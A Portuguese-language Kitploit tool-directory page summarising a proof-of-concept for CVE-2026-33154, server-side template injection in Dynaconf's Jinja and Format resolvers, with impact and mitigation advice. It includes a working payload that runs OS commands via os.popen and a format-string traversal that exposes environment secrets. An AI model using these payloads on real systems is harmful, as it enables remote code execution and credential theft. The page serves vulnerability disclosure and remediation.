Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-33154 — Prova de conceito de exploit para CVE-2026-33154, demonstrando execução remota de código via SSTI no resolvedor Jinja do Dynaconf, com análise e orientações de mitigação. | Kitploit
Ferramentas/GitHubGitHub/redyank/cve-2026-33154
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebAprendizado e Educação
GitHubredyank/cve-2026-33154

CVE-2026-33154

Prova de conceito de exploit para CVE-2026-33154, demonstrando execução remota de código via SSTI no resolvedor Jinja do Dynaconf, com análise e orientações de mitigação.

Ver Repositório
16há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Relatório de Vulnerabilidade de SSTI no Dynaconf

Resumo

O Dynaconf é vulnerável a Injeção de Template no Servidor (SSTI) devido à avaliação insegura de templates no resolvedor __@Jinja__. Quando o pacote jinja2 está instalado, o Dynaconf avalia expressões de template incorporadas em valores de configuração sem um ambiente isolado (sandbox).

Se um atacante puder influenciar fontes de configuração como:

  • Variáveis de ambiente
  • Arquivos .env
  • Configuração de ambiente de contêineres
  • Segredos de CI/CD

...ele pode executar comandos arbitrários do sistema operacional no host. Além disso, o resolvedor __@Format__ permite a travessia do grafo de objetos, o que pode expor objetos sensíveis do runtime e variáveis de ambiente.


Detalhes

A vulnerabilidade surge porque os resolvedores de string do Dynaconf carecem de limites de segurança adequados.

1. Resolvedor

__@Jinja__

O resolvedor __@Jinja__ renderiza templates usando avaliação completa do Jinja2. No entanto, o contexto de renderização não é isolado (sandbox), o que permite que atacantes acessem atributos internos do Python. Usando objetos como cycler, atacantes podem alcançar os globais do Python e importar o módulo os.

Caminho de ataque de exemplo:

root@kitploit:~
cycler → __init__ → __globals__ → os → popen()

Isso leva à execução arbitrária de comandos.


2. Resolvedor __@Format__

O resolvedor __@Format__ realiza formatação de strings do Python usando objetos internos. Isso permite que atacantes percorram o grafo de objetos do Python e acessem objetos sensíveis do runtime.

Travessia de exemplo:

root@kitploit:~
{this.__class__.__init__.__globals__[os].environ}

Isso pode expor:

  • Chaves de API
  • Credenciais de banco de dados
  • Tokens de serviços internos
  • Segredos de ambiente

Prova de Conceito (PoC)

root@kitploit:~
import os
from dynaconf import Dynaconf

# Injeção de configuração maliciosa
os.environ["DYNACONF_RCE"] = "@jinja {{ cycler.__init__.__globals__.os.popen('id').read() }}"

settings = Dynaconf()

print("[!] Resultado da Execução de Comando:")
print(settings.RCE)

Impacto

A exploração bem-sucedida permite que atacantes:

  • Executem comandos arbitrários do sistema operacional no host
  • Acessem variáveis de ambiente sensíveis
  • Comprometam segredos da aplicação
  • Comprometam completamente o processo da aplicação em execução

Como os valores de configuração podem se originar de pipelines de CI/CD, sistemas de orquestração de contêineres ou injeção de ambiente, esta vulnerabilidade pode se tornar explorável remotamente em implantações do mundo real.


Remediação / Mitigação

1. Use o Sandbox do Jinja2 para Renderização de Templates

root@kitploit:~
from jinja2.sandbox import SandboxedEnvironment

env = SandboxedEnvironment()
template = env.from_string("{{ config_value }}")
safe_value = template.render(config_value=user_input)

2. Restrinja o Uso de __@Format__ a Valores Confiáveis

root@kitploit:~
safe_value = "{name}".format(name=trusted_name)

Referências

  • GHSA-pxrr-hq57-q35p
  • CVE-2026-33154 — NVD
  • dynaconf/dynaconf@2fbb45e
  • Dynaconf Release 3.2.13
Baixar ferramenta